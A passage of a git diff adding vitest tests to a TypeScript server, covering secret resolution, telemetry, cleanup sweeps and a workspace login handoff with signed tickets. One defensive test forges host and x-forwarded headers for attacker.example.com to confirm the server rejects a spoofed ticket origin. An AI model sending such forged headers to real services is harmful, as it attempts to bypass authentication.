+    const definition = await svc.createUserSecretDefinition(companyId, {
+      key: "github_token",
+      name: "GitHub token",
+      provider: "local_encrypted",
+    });
+    const secretValue = "ghp_super_secret_value";
+    await svc.createCurrentUserSecretValue(companyId, "user-1", {
+      definitionId: definition.id,
+      value: secretValue,
+    });
+
+    // Delete the definition after the value exists. The binding now dangles.
+    await svc.removeUserSecretDefinition(companyId, definition.id);
+
+    const agentId = randomUUID();
+    const error = await svc
+      .resolveUserSecretValue(
+        companyId,
+        { definitionKey: "github_token", responsibleUserId: "user-1", required: true },
+        {
+          consumerType: "agent",
+          consumerId: agentId,
+          configPath: "env.GH_TOKEN",
+          responsibleUserId: "user-1",
+        },
+      )
+      .catch((caught: unknown) => caught as Error);
+
+    expect(error).toBeInstanceOf(Error);
+    expect((error as { status?: number }).status).toBe(404);
+    expect(error.message).toContain("User secret definition not found");
+    expect(error.message).toContain('environment variable "GH_TOKEN"');
+    expect(error.message).toContain(`agent ${agentId}`);
+    expect(error.message).toContain('definition key "github_token"');
+    // The enriched message must never include the secret value.
+    expect(error.message).not.toContain(secretValue);
+  });
+
+  it("optional binding still resolves to null when the definition is missing (enrichment keeps the 404 status)", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    const resolved = await svc.resolveUserSecretValue(
+      companyId,
+      { definitionKey: "never_created", responsibleUserId: "user-1", required: false },
+      { consumerType: "agent", consumerId: randomUUID(), configPath: "env.GH_TOKEN" },
+    );
+    expect(resolved).toBeNull();
+  });
+});
diff --git a/server/src/__tests__/server-startup-feedback-export.test.ts b/server/src/__tests__/server-startup-feedback-export.test.ts
index b01ad17d024..c4242eb5527 100644
--- a/server/src/__tests__/server-startup-feedback-export.test.ts
+++ b/server/src/__tests__/server-startup-feedback-export.test.ts
@@ -68,6 +68,7 @@ const {
     reconcileTaskWatchdogs: vi.fn(async () => ({ triggered: 0 })),
     scanSilentActiveRuns: vi.fn(async () => ({ created: 0, escalated: 0 })),
     sweepStaleIssueLocks: vi.fn(async () => ({ cleared: 0 })),
+    sweepPendingCleanupLeases: vi.fn(async () => ({ swept: 0, destroyed: 0, capped: 0 })),
     reconcileProductivityReviews: vi.fn(async () => ({ created: 0, updated: 0, failed: 0 })),
     sweepExpiredRuntimeStatuses: vi.fn(() => 0),
     tickTimers: vi.fn(async () => ({ checked: 0, enqueued: 0, skipped: 0 })),
@@ -522,7 +523,11 @@ describe("startServer feedback export wiring", () => {
     try {
       await startServer();
 
-      expect(heartbeatServiceFactoryMock).not.toHaveBeenCalled();
+      // The disabled path still creates one heartbeat runtime. This runtime owns
+      // the orphan-sandbox cleanup sweep, so a leaked provider sandbox is still
+      // reaped at startup and on the interval.
+      expect(heartbeatServiceFactoryMock).toHaveBeenCalledTimes(1);
+      expect(heartbeatServiceMock.sweepPendingCleanupLeases).toHaveBeenCalled();
       expect(intervalCallback).not.toBeNull();
       intervalCallback?.();
       await Promise.resolve();
diff --git a/server/src/__tests__/service-version.test.ts b/server/src/__tests__/service-version.test.ts
new file mode 100644
index 00000000000..fd7a95abca2
--- /dev/null
+++ b/server/src/__tests__/service-version.test.ts
@@ -0,0 +1,51 @@
+import { mkdtempSync, rmSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+
+import { describe, expect, it } from "vitest";
+
+import { readGitCommit, resolveServiceVersion } from "../instrumentation.js";
+
+describe("resolveServiceVersion", () => {
+  it("prefers the build stamp over every other source", () => {
+    expect(resolveServiceVersion("aaaaaaa", "bbbbbbb", "2026.5.0")).toBe("aaaaaaa");
+  });
+
+  it("uses the runtime git commit when no build stamp exists", () => {
+    expect(resolveServiceVersion(null, "bbbbbbb", "2026.5.0")).toBe("bbbbbbb");
+  });
+
+  it("uses OTEL_SERVICE_VERSION when no stamp and no git commit exist", () => {
+    expect(resolveServiceVersion(null, null, "2026.5.0")).toBe("2026.5.0");
+  });
+
+  it("falls back to 'unknown' when every source is absent", () => {
+    expect(resolveServiceVersion(null, null, undefined)).toBe("unknown");
+  });
+
+  it("treats an empty env value as absent", () => {
+    expect(resolveServiceVersion(null, null, "")).toBe("unknown");
+  });
+});
+
+describe("readGitCommit", () => {
+  it("resolves git from the module checkout, not the process launch directory", () => {
+    // This test needs reachable git metadata in the checkout that holds the
+    // module. Skip the assertion when the environment has no git.
+    const baseline = readGitCommit();
+    if (baseline === null) return;
+
+    const original = process.cwd();
+    const launchDir = mkdtempSync(join(tmpdir(), "paperclip-no-git-"));
+    try {
+      // Move the process into a directory with no repository. The lookup still
+      // returns the checkout commit, because it reads the module directory, not
+      // the launch directory.
+      process.chdir(launchDir);
+      expect(readGitCommit()).toBe(baseline);
+    } finally {
+      process.chdir(original);
+      rmSync(launchDir, { recursive: true, force: true });
+    }
+  });
+});
diff --git a/server/src/__tests__/setup-supertest.ts b/server/src/__tests__/setup-supertest.ts
index d837215ecb3..3a34850d1dd 100644
--- a/server/src/__tests__/setup-supertest.ts
+++ b/server/src/__tests__/setup-supertest.ts
@@ -30,6 +30,14 @@ if (!process.env.CODEX_HOME) {
   process.env.CODEX_HOME = codexHome;
 }
 
+// The automatic Tailscale HTTPS default (PAP-17158) probes for a real host
+// broker socket, so leaving it enabled would make every test that starts a
+// service named `paperclip-dev` behave differently on a broker-capable host
+// than on CI. Tests that exercise the default opt in explicitly.
+if (!process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS) {
+  process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS = "off";
+}
+
 if (!SupertestTest.prototype.__paperclipLoopbackPatched) {
   SupertestTest.prototype.serverAddress = function serverAddress(app, path) {
     const addr = app.address();
diff --git a/server/src/__tests__/shared-telemetry-events.test.ts b/server/src/__tests__/shared-telemetry-events.test.ts
index 19341fdd203..739df8004a6 100644
--- a/server/src/__tests__/shared-telemetry-events.test.ts
+++ b/server/src/__tests__/shared-telemetry-events.test.ts
@@ -3,6 +3,7 @@ import {
   trackAgentCreated,
   trackAgentFirstHeartbeat,
   trackAgentTaskCompleted,
+  trackInteractionCreated,
   trackInteractionResolved,
   trackInstallCompleted,
 } from "@paperclipai/shared/telemetry";
@@ -111,6 +112,7 @@ describe("shared telemetry agent events", () => {
       optionCount: 2,
       selectedOptionCount: 1,
       skippedTaskCount: 3,
+      legacyInheritedRestriction: true,
     });
 
     expect(client.track).toHaveBeenCalledWith("interaction.resolved", {
@@ -125,6 +127,21 @@ describe("shared telemetry agent events", () => {
       option_count: 2,
       selected_option_count: 1,
       skipped_task_count: 3,
+      legacy_inherited_restriction: true,
+    });
+  });
+
+  it("emits only enum and boolean dimensions for interaction creation compatibility", () => {
+    const client = createClient();
+
+    trackInteractionCreated(client, {
+      interactionKind: "request_confirmation",
+      usedDeprecatedResolverPolicyAlias: true,
+    });
+
+    expect(client.track).toHaveBeenCalledWith("interaction.created", {
+      interaction_kind: "request_confirmation",
+      used_deprecated_resolver_policy_alias: true,
     });
   });
 });
diff --git a/server/src/__tests__/task-watchdogs-incident-fixture.test.ts b/server/src/__tests__/task-watchdogs-incident-fixture.test.ts
new file mode 100644
index 00000000000..4b7c888f2fe
--- /dev/null
+++ b/server/src/__tests__/task-watchdogs-incident-fixture.test.ts
@@ -0,0 +1,50 @@
+import { createHash } from "node:crypto";
+import { describe, expect, it } from "vitest";
+import incident from "./fixtures/watchdog-confirmation-incident-8bef17ef.json";
+
+describe("historical watchdog confirmation incident fixture", () => {
+  it("reproduces the material stop fingerprint", () => {
+    const materialPayload = JSON.stringify({
+      version: incident.stopSnapshot.version,
+      companyId: incident.companyId,
+      watchedIssueId: incident.watchdogRun.watchedIssueId,
+      materialLeaves: incident.stopSnapshot.materialLeaves,
+      waitsByIssueId: incident.stopSnapshot.waitsByIssueId,
+    });
+    const fingerprint = `task_watchdog_stop:${createHash("sha256").update(materialPayload).digest("hex")}`;
+
+    expect(fingerprint).toBe(incident.watchdogRun.stopFingerprint);
+  });
+
+  it("preserves why the watchdog could not resolve the board-only card", () => {
+    expect(incident.interactionAtStop).toMatchObject({
+      id: "8bef17ef-6df4-4e52-8333-f3a789580be0",
+      kind: "request_confirmation",
+      status: "pending",
+      effectiveResolverPolicy: "board_only",
+      sourceRunId: incident.creatorRun.id,
+    });
+    expect(incident.watchdogAuthorizationAtStop.deniedOperations).toContain(
+      "resolve_board_only_or_security_sensitive_approvals",
+    );
+  });
+
+  it("records manual acceptance without changing audit attribution or retaining a current wait", () => {
+    expect(incident.manualAcceptance).toMatchObject({
+      status: "accepted",
+      resolverPolicy: "board_only",
+      resolvedByAgentId: null,
+      resolvedByRunId: null,
+    });
+    expect(incident.manualAcceptance.resolvedByUserId).toBeTruthy();
+    expect(incident.descendantPathAtVerification.at(-1)).toMatchObject({
+      identifier: "PAP-17237",
+      status: "done",
+    });
+    expect(incident.verification).toEqual({
+      historicalInteractionStillPending: false,
+      historicalInteractionIsCurrentWait: false,
+      auditAttributionChanged: false,
+    });
+  });
+});
diff --git a/server/src/__tests__/tool-gateway.test.ts b/server/src/__tests__/tool-gateway.test.ts
index 8ce669a407a..e923d275ff8 100644
--- a/server/src/__tests__/tool-gateway.test.ts
+++ b/server/src/__tests__/tool-gateway.test.ts
@@ -889,7 +889,13 @@ describeEmbeddedPostgres("tool gateway acceptance", () => {
         effect: "include",
         toolName: gatewayToolName,
       });
+      // Pin the clock so every request in this test shares one rate-limit
+      // window. The window boundary aligns to wall-clock time, so a real clock
+      // can advance past the boundary between two paired requests and reset the
+      // counter. That reset makes the second request return 200 instead of 429.
+      const fixedNow = Date.now();
       const gateway = createTestToolGatewayService(db, {
+        now: () => fixedNow,
         mcpGatewayProtocolLimits: {
           gatewayRequests: { max: 1, windowMs: 60_000 },
           tokenRequests: { max: 1, windowMs: 60_000 },
diff --git a/server/src/__tests__/work-product-runtime-reconciliation.test.ts b/server/src/__tests__/work-product-runtime-reconciliation.test.ts
new file mode 100644
index 00000000000..345d7fcf5cd
--- /dev/null
+++ b/server/src/__tests__/work-product-runtime-reconciliation.test.ts
@@ -0,0 +1,78 @@
+import { describe, expect, it } from "vitest";
+import type { IssueWorkProduct } from "@paperclipai/shared";
+import { reconcileRuntimeServiceWorkProducts } from "../services/work-products.js";
+
+function workProduct(overrides: Partial<IssueWorkProduct> = {}): IssueWorkProduct {
+  return {
+    id: "wp-1",
+    companyId: "company-1",
+    projectId: "project-1",
+    issueId: "issue-1",
+    executionWorkspaceId: "ews-1",
+    runtimeServiceId: "runtime-1",
+    type: "runtime_service",
+    provider: "paperclip",
+    externalId: null,
+    title: "Workspace preview",
+    url: "https://workspace.example.ts.net:42013/",
+    status: "open",
+    reviewState: "none",
+    isPrimary: true,
+    healthStatus: "healthy",
+    summary: null,
+    metadata: null,
+    sourceTrust: null,
+    createdByRunId: null,
+    createdAt: new Date("2026-08-19T00:00:00.000Z"),
+    updatedAt: new Date("2026-08-19T00:00:00.000Z"),
+    ...overrides,
+  };
+}
+
+describe("reconcileRuntimeServiceWorkProducts", () => {
+  it("adopts the live runtime URL after a port change", () => {
+    const [reconciled] = reconcileRuntimeServiceWorkProducts(
+      [workProduct()],
+      [{ id: "runtime-1", url: "https://workspace.example.ts.net:42055/", status: "running", healthStatus: "healthy" }],
+    );
+    expect(reconciled!.url).toBe("https://workspace.example.ts.net:42055/");
+    expect(reconciled!.healthStatus).toBe("healthy");
+  });
+
+  it("marks a stopped or unhealthy runtime unhealthy instead of advertising it", () => {
+    const [stopped] = reconcileRuntimeServiceWorkProducts(
+      [workProduct()],
+      [{ id: "runtime-1", url: "https://workspace.example.ts.net:42013/", status: "stopped", healthStatus: "healthy" }],
+    );
+    expect(stopped!.healthStatus).toBe("unhealthy");
+
+    const [unhealthy] = reconcileRuntimeServiceWorkProducts(
+      [workProduct()],
+      [{ id: "runtime-1", url: "https://workspace.example.ts.net:42013/", status: "running", healthStatus: "unhealthy" }],
+    );
+    expect(unhealthy!.healthStatus).toBe("unhealthy");
+  });
+
+  it("keeps the recorded URL when the runtime row is gone, but stops calling it healthy", () => {
+    const [reconciled] = reconcileRuntimeServiceWorkProducts([workProduct()], []);
+    expect(reconciled!.url).toBe("https://workspace.example.ts.net:42013/");
+    expect(reconciled!.healthStatus).toBe("unhealthy");
+  });
+
+  it("leaves non-runtime work products and unlinked rows untouched", () => {
+    const pullRequest = workProduct({ id: "wp-pr", type: "pull_request", runtimeServiceId: null });
+    const unlinked = workProduct({ id: "wp-unlinked", runtimeServiceId: null });
+    const reconciled = reconcileRuntimeServiceWorkProducts([pullRequest, unlinked], []);
+    expect(reconciled[0]).toBe(pullRequest);
+    expect(reconciled[1]).toBe(unlinked);
+  });
+
+  it("returns the same objects when nothing drifted", () => {
+    const product = workProduct();
+    const reconciled = reconcileRuntimeServiceWorkProducts(
+      [product],
+      [{ id: "runtime-1", url: product.url, status: "running", healthStatus: "healthy" }],
+    );
+    expect(reconciled[0]).toBe(product);
+  });
+});
diff --git a/server/src/__tests__/workspace-instance-cleanup.test.ts b/server/src/__tests__/workspace-instance-cleanup.test.ts
index c46b3bc272e..353fceec724 100644
--- a/server/src/__tests__/workspace-instance-cleanup.test.ts
+++ b/server/src/__tests__/workspace-instance-cleanup.test.ts
@@ -114,7 +114,7 @@ describe("worktree instance cleanup", () => {
     await expect(fs.stat(instanceRoot)).rejects.toMatchObject({ code: "ENOENT" });
   });
 
-  it("falls back to deterministic instance ownership when persisted root metadata is absent", async () => {
+  it("preserves a collision-resistant active instance when persisted ownership is absent", async () => {
     const worktreesDir = await makeTempRoot("paperclip-managed-worktrees-");
     const workspacePath = await makeTempRoot("paperclip-cleanup-workspace-");
     const instanceId = deriveWorktreeInstanceId(workspacePath);
@@ -133,8 +133,9 @@ describe("worktree instance cleanup", () => {
       worktreesDir,
     });
 
-    expect(result).toMatchObject({ status: "removed", instanceRoot });
-    await expect(fs.stat(instanceRoot)).rejects.toMatchObject({ code: "ENOENT" });
+    expect(result).toMatchObject({ status: "refused", instanceRoot });
+    expect((result as { warning: string }).warning).toContain("no persisted instance root");
+    await expect(fs.readFile(path.join(instanceRoot, "marker"), "utf8")).resolves.toBe("remove me");
   });
 
   it("refuses and logs an instance pointer outside the managed worktree root", async () => {
diff --git a/server/src/__tests__/workspace-login-handoff-endpoint.test.ts b/server/src/__tests__/workspace-login-handoff-endpoint.test.ts
new file mode 100644
index 00000000000..b8270f1c344
--- /dev/null
+++ b/server/src/__tests__/workspace-login-handoff-endpoint.test.ts
@@ -0,0 +1,251 @@
+/**
+ * HTTP-level coverage for the Better Auth exchange endpoint (PAP-17572).
+ *
+ * The security matrix itself lives in `workspace-login-handoff.test.ts`, which
+ * exercises the pure verifier and the dependency-injected exchange. This suite
+ * proves the wiring a browser actually meets: the plugin is registered on the
+ * Better Auth mount, a valid ticket answers with a redirect and a session cookie,
+ * a rejected ticket redirects to the labeled credential fallback without one, and
+ * the exchange never trusts a forwarded host header.
+ */
+
+import express from "express";
+import request from "supertest";
+import { betterAuth } from "better-auth";
+import { memoryAdapter } from "better-auth/adapters/memory";
+import { toNodeHandler } from "better-auth/node";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { Db } from "@paperclipai/db";
+import {
+  deriveWorkspaceHandoffKey,
+  issueWorkspaceHandoffTicket,
+  WORKSPACE_HANDOFF_TICKET_QUERY_PARAM,
+} from "../auth/workspace-login-handoff.js";
+import { workspaceLoginHandoffPlugin } from "../auth/workspace-login-handoff-plugin.js";
+
+const ROOT_SECRET = "endpoint-test-root-secret";
+const INSTANCE_ID = "pap-17572-endpoint-1122334455";
+const EXECUTION_WORKSPACE_ID = "ews-endpoint-1";
+const COMPANY_ID = "company-endpoint-1";
+const ORIGIN = "http://workspace.localhost:42013";
+const USER_ID = "cloned-user-1";
+const USER_EMAIL = "operator@example.com";
+
+const KEY = deriveWorkspaceHandoffKey({
+  rootSecret: ROOT_SECRET,
+  instanceId: INSTANCE_ID,
+  executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+});
+
+type MemoryStore = Record<string, Record<string, unknown>[]>;
+
+/**
+ * Membership lookup goes through the app `db`, not the Better Auth adapter, and
+ * asks for existence — so the stub answers with rows, not a count.
+ */
+function stubDb(activeMembershipCount: number) {
+  const rows = Array.from({ length: Math.max(0, activeMembershipCount) }, (_, index) => ({
+    id: `membership-${index}`,
+  }));
+  return {
+    select: vi.fn(() => {
+      const chain: Record<string, unknown> = {};
+      for (const method of ["from", "where", "innerJoin", "limit", "orderBy"]) {
+        chain[method] = vi.fn(() => chain);
+      }
+      chain.then = (resolve: (value: unknown) => unknown) => Promise.resolve(rows).then(resolve);
+      return chain;
+    }),
+  } as unknown as Db;
+}
+
+function createApp(input: {
+  activeMembershipCount?: number;
+  expectedOrigin?: string | null;
+  expectedInstanceId?: string | null;
+  expectedExecutionWorkspaceId?: string | null;
+  expectedCompanyId?: string | null;
+  key?: string | null;
+}) {
+  const store: MemoryStore = { user: [], session: [], account: [], verification: [] };
+  store.user!.push({
+    id: USER_ID,
+    email: USER_EMAIL,
+    name: "Operator",
+    emailVerified: true,
+    createdAt: new Date(),
+    updatedAt: new Date(),
+  });
+
+  const auth = betterAuth({
+    secret: "better-auth-secret-for-endpoint-tests",
+    baseURL: ORIGIN,
+    trustedOrigins: [ORIGIN],
+    database: memoryAdapter(store),
+    emailAndPassword: { enabled: true },
+    advanced: { useSecureCookies: false },
+    plugins: [
+      workspaceLoginHandoffPlugin({
+        db: stubDb(input.activeMembershipCount ?? 1),
+        resolveExpectedIdentity: () => ({
+          key: input.key === undefined ? KEY : input.key,
+          instanceId: input.expectedInstanceId === undefined ? INSTANCE_ID : input.expectedInstanceId,
+          executionWorkspaceId:
+            input.expectedExecutionWorkspaceId === undefined
+              ? EXECUTION_WORKSPACE_ID
+              : input.expectedExecutionWorkspaceId,
+          companyId: input.expectedCompanyId === undefined ? COMPANY_ID : input.expectedCompanyId,
+          origin: input.expectedOrigin === undefined ? ORIGIN : input.expectedOrigin,
+        }),
+      }),
+    ],
+  });
+
+  const app = express();
+  app.all("/api/auth/*splat", (req, res, next) => {
+    void Promise.resolve(toNodeHandler(auth)(req, res)).catch(next);
+  });
+  return { app, store };
+}
+
+function mintTicket(overrides: Partial<Parameters<typeof issueWorkspaceHandoffTicket>[0]> = {}) {
+  return issueWorkspaceHandoffTicket({
+    key: KEY,
+    userId: USER_ID,
+    email: USER_EMAIL,
+    executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+    companyId: COMPANY_ID,
+    instanceId: INSTANCE_ID,
+    origin: ORIGIN,
+    issuerInstanceId: "primary",
+    ...overrides,
+  }).ticket;
+}
+
+function exchange(app: express.Express, ticket: string | null) {
+  const path = `/api/auth/workspace-handoff/exchange${
+    ticket === null ? "" : `?${WORKSPACE_HANDOFF_TICKET_QUERY_PARAM}=${encodeURIComponent(ticket)}`
+  }`;
+  return request(app).get(path);
+}
+
+function sessionCookies(response: request.Response): string[] {
+  const raw = response.headers["set-cookie"];
+  const cookies = Array.isArray(raw) ? raw : raw ? [raw] : [];
+  return cookies.filter((cookie) => cookie.includes("session_token"));
+}
+
+beforeEach(() => {
+  vi.spyOn(console, "warn").mockImplementation(() => undefined);
+});
+
+afterEach(() => {
+  vi.restoreAllMocks();
+});
+
+describe("GET /api/auth/workspace-handoff/exchange", () => {
+  it("redirects to the requested board path and sets exactly one session cookie", async () => {
+    const { app, store } = createApp({});
+    const response = await exchange(app, mintTicket({ next: "/PAP/issues/PAP-17572" }));
+
+    expect(response.status).toBe(302);
+    expect(response.headers.location).toBe(`${ORIGIN}/PAP/issues/PAP-17572`);
+    // The ticket must not survive into the landing URL, the cache, or the referrer.
+    expect(response.headers.location).not.toContain(WORKSPACE_HANDOFF_TICKET_QUERY_PARAM);
+    expect(response.headers["cache-control"]).toContain("no-store");
+    expect(response.headers["referrer-policy"]).toBe("no-referrer");
+    expect(sessionCookies(response)).toHaveLength(1);
+    expect(store.session).toHaveLength(1);
+    expect(store.session![0]!.userId).toBe(USER_ID);
+  });
+
+  it("does not create a second session for a replayed ticket", async () => {
+    const { app, store } = createApp({});
+    const ticket = mintTicket();
+    expect((await exchange(app, ticket)).status).toBe(302);
+
+    const replay = await exchange(app, ticket);
+    expect(replay.status).toBe(302);
+    expect(replay.headers.location).toContain("workspaceHandoffError=replayed");
+    expect(sessionCookies(replay)).toHaveLength(0);
+    expect(store.session).toHaveLength(1);
+  });
+
+  it("sends a rejected ticket to the labeled credential fallback with no session", async () => {
+    const { app, store } = createApp({});
+    const expired = mintTicket({ now: new Date(Date.now() - 10 * 60_000), ttlSeconds: 30 });
+    const response = await exchange(app, expired);
+
+    expect(response.status).toBe(302);
+    const location = new URL(response.headers.location as string);
+    expect(location.pathname).toBe("/auth");
+    expect(location.searchParams.get("workspaceHandoffError")).toBe("expired");
+    expect(sessionCookies(response)).toHaveLength(0);
+    expect(store.session).toHaveLength(0);
+  });
+
+  it("rejects a ticket for a cloned user with no active membership", async () => {
+    const { app, store } = createApp({ activeMembershipCount: 0 });
+    const response = await exchange(app, mintTicket());
+    expect(response.headers.location).toContain("workspaceHandoffError=missing_membership");
+    expect(store.session).toHaveLength(0);
+  });
+
+  it("rejects a ticket naming a user that did not survive the clone", async () => {
+    const { app, store } = createApp({});
+    const response = await exchange(app, mintTicket({ userId: "user-that-was-not-cloned" }));
+    expect(response.headers.location).toContain("workspaceHandoffError=unknown_user");
+    expect(store.session).toHaveLength(0);
+  });
+
+  it("ignores forwarded host and proto headers when checking the audience", async () => {
+    const { app, store } = createApp({});
+    // A ticket minted for the attacker's host must fail even when the request
+    // arrives claiming to be that host.
+    const spoofedTicket = mintTicket({ origin: "https://attacker.example.com" });
+    const response = await exchange(app, spoofedTicket)
+      .set("host", "attacker.example.com")
+      .set("x-forwarded-host", "attacker.example.com")
+      .set("x-forwarded-proto", "https")
+      .set("x-forwarded-for", "203.0.113.7");
+
+    expect(response.headers.location).toContain("workspaceHandoffError=origin_mismatch");
+    expect(sessionCookies(response)).toHaveLength(0);
+    expect(store.session).toHaveLength(0);
+  });
+
+  it("rejects a ticket bound to another workspace, instance, or company on this host", async () => {
+    const { app } = createApp({});
+    const otherWorkspace = await exchange(app, mintTicket({ executionWorkspaceId: "ews-sibling" }));
+    expect(otherWorkspace.headers.location).toContain("workspaceHandoffError=workspace_mismatch");
+
+    const otherInstance = await exchange(app, mintTicket({ instanceId: "another-instance" }));
+    expect(otherInstance.headers.location).toContain("workspaceHandoffError=instance_mismatch");
+
+    const otherCompany = await exchange(app, mintTicket({ companyId: "company-sibling" }));
+    expect(otherCompany.headers.location).toContain("workspaceHandoffError=company_mismatch");
+  });
+
+  it("rejects a missing or garbage ticket", async () => {
+    const { app } = createApp({});
+    expect((await exchange(app, null)).headers.location).toContain("workspaceHandoffError=malformed");
+    expect((await exchange(app, "wh1.aaaa.bbbb")).headers.location).toContain(
+      "workspaceHandoffError=bad_signature",
+    );
+  });
+
+  it("answers 503 rather than a redirect when the guest has no verification key", async () => {
+    const { app } = createApp({ key: null });
+    const response = await exchange(app, mintTicket());
+    expect(response.status).toBe(503);
+    expect(sessionCookies(response)).toHaveLength(0);
+  });
+
+  it("fails closed when the guest cannot resolve its own origin", async () => {
+    const { app, store } = createApp({ expectedOrigin: null });
+    const response = await exchange(app, mintTicket());
+    expect(response.status).toBe(302);
+    expect(response.headers.location).toContain("workspaceHandoffError=origin_mismatch");
+    expect(store.session).toHaveLength(0);
+  });
+});
diff --git a/server/src/__tests__/workspace-login-handoff-issuer.test.ts b/server/src/__tests__/workspace-login-handoff-issuer.test.ts
new file mode 100644
index 00000000000..b98ce3cf404
--- /dev/null
+++ b/server/src/__tests__/workspace-login-handoff-issuer.test.ts
@@ -0,0 +1,302 @@
+import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { Db } from "@paperclipai/db";
+import {
+  issueWorkspaceLoginHandoff,
+  resolveWorkspaceHandoffBoardIdentity,
+  workspaceLoginHandoffFailureStatus,
+} from "../services/workspace-login-handoff-issuer.js";
+import { verifyWorkspaceHandoffTicket } from "../auth/workspace-login-handoff.js";
+import { resolveManagedWorkspaceIdentity } from "../services/managed-workspace-identity.js";
+import { WORKSPACE_HANDOFF_TICKET_QUERY_PARAM } from "../auth/workspace-login-handoff.js";
+
+const INSTANCE_ID = "pap-17572-live-workspace-aa11bb22cc33";
+const EXECUTION_WORKSPACE_ID = "ews-live-1";
+const COMPANY_ID = "company-1";
+const RUNTIME_URL = "https://workspace.example.ts.net:42013/";
+
+const tempDirs: string[] = [];
+let previousSecret: string | undefined;
+
+function createWorkspaceCwd(instanceId: string | null) {
+  const cwd = mkdtempSync(path.join(os.tmpdir(), "paperclip-handoff-issuer-"));
+  tempDirs.push(cwd);
+  mkdirSync(path.join(cwd, ".paperclip"), { recursive: true });
+  if (instanceId) {
+    writeFileSync(
+      path.join(cwd, ".paperclip", ".env"),
+      `PAPERCLIP_HOME=/srv/home\nPAPERCLIP_INSTANCE_ID=${instanceId}\n`,
+      "utf8",
+    );
+  }
+  return cwd;
+}
+
+/**
+ * Minimal drizzle-shaped stub. `select({ id, url, updatedAt })` is the live
+ * runtime lookup; anything else is the instance-admin lookup.
+ */
+function stubDb(input: {
+  runtimeRows?: Array<{ id: string; url: string | null; updatedAt: Date }>;
+  adminRows?: Array<{ id: string; email: string | null; createdAt: Date }>;
+}) {
+  return {
+    select: vi.fn((projection: Record<string, unknown>) => {
+      const rows = "url" in projection ? input.runtimeRows ?? [] : input.adminRows ?? [];
+      const chain: Record<string, unknown> = {};
+      for (const method of ["from", "where", "innerJoin", "orderBy", "limit"]) {
+        chain[method] = vi.fn(() => chain);
+      }
+      chain.then = (resolve: (value: unknown) => unknown) => Promise.resolve(rows).then(resolve);
+      return chain;
+    }),
+  } as unknown as Db;
+}
+
+function readyProbe() {
+  return vi.fn(async () => ({
+    ok: true as const,
+    readiness: {
+      state: "ready" as const,
+      databaseReady: true,
+      cloneDataReady: true,
+      authHandoffReady: true,
+      authHandoffUserId: "user-1",
+      seedState: "verified" as const,
+      seedPhase: "complete",
+      seedMode: "minimal" as const,
+      instanceId: INSTANCE_ID,
+      executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+      companyId: COMPANY_ID,
+      failurePhase: null,
+    },
+  }));
+}
+
+beforeEach(() => {
+  previousSecret = process.env.PAPERCLIP_WORKSPACE_HANDOFF_SECRET;
+  process.env.PAPERCLIP_WORKSPACE_HANDOFF_SECRET = "issuer-test-root-secret";
+});
+
+afterEach(() => {
+  if (previousSecret === undefined) delete process.env.PAPERCLIP_WORKSPACE_HANDOFF_SECRET;
+  else process.env.PAPERCLIP_WORKSPACE_HANDOFF_SECRET = previousSecret;
+  for (const dir of tempDirs.splice(0)) rmSync(dir, { recursive: true, force: true });
+  vi.restoreAllMocks();
+});
+
+describe("issueWorkspaceLoginHandoff", () => {
+  it("mints a ticket the target workspace accepts, bound to the live runtime origin", async () => {
+    const cwd = createWorkspaceCwd(INSTANCE_ID);
+    const probe = readyProbe();
+    const result = await issueWorkspaceLoginHandoff({
+      db: stubDb({ runtimeRows: [{ id: "runtime-1", url: RUNTIME_URL, updatedAt: new Date() }] }),
+      companyId: COMPANY_ID,
+      executionWorkspace: { id: EXECUTION_WORKSPACE_ID, cwd },
+      actor: { userId: "user-1", userEmail: "operator@example.com", source: "session" },
+      next: "/PAP/issues/PAP-17572",
+      probe,
+    });
+
+    expect(result.ok).toBe(true);
+    if (!result.ok) return;
+    const url = new URL(result.issuance.url);
+    expect(url.origin).toBe("https://workspace.example.ts.net:42013");
+    expect(url.pathname).toBe("/api/auth/workspace-handoff/exchange");
+
+    // The guest independently derives the same key, so the round trip proves the
+    // control plane and the workspace agree without sharing a stored token.
+    const identity = resolveManagedWorkspaceIdentity({
+      workspaceCwd: cwd,
+      executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+      companyId: COMPANY_ID,
+    });
+    const verification = verifyWorkspaceHandoffTicket({
+      ticket: url.searchParams.get(WORKSPACE_HANDOFF_TICKET_QUERY_PARAM),
+      key: identity!.handoffKey,
+      expected: {
+        instanceId: INSTANCE_ID,
+        executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+        companyId: COMPANY_ID,
+        origin: "https://workspace.example.ts.net:42013",
+      },
+    });
+    expect(verification.ok).toBe(true);
+    expect(verification.ok && verification.payload).toMatchObject({
+      sub: "user-1",
+      email: "operator@example.com",
+      next: "/PAP/issues/PAP-17572",
+    });
+    // Readiness is probed against the origin the user will be sent to, not a
+    // separately configured address.
+    expect(probe).toHaveBeenCalledTimes(1);
+    expect(probe.mock.calls[0]![0]!.healthUrl).toBe("https://workspace.example.ts.net:42013/api/health");
+    expect(probe.mock.calls[0]![0]!.handoffSubject).toEqual({
+      userId: "user-1",
+      email: "operator@example.com",
+    });
+  });
+
+  it("refuses to mint a ticket for a workspace that is not ready", async () => {
+    const cwd = createWorkspaceCwd(INSTANCE_ID);
+    const result = await issueWorkspaceLoginHandoff({
+      db: stubDb({ runtimeRows: [{ id: "runtime-1", url: RUNTIME_URL, updatedAt: new Date() }] }),
+      companyId: COMPANY_ID,
+      executionWorkspace: { id: EXECUTION_WORKSPACE_ID, cwd },
+      actor: { userId: "user-1", userEmail: "operator@example.com", source: "session" },
+      probe: vi.fn(async () => ({
+        ok: false as const,
+        reason: "not_ready" as const,
+        readiness: null,
+        detail: "clone_data_missing",
+      })),
+    });
+    expect(result).toMatchObject({
+      ok: false,
+      failure: { reason: "workspace_not_ready", detail: "clone_data_missing" },
+    });
+  });
+
+  it("refuses when no healthy runtime row publishes a URL", async () => {
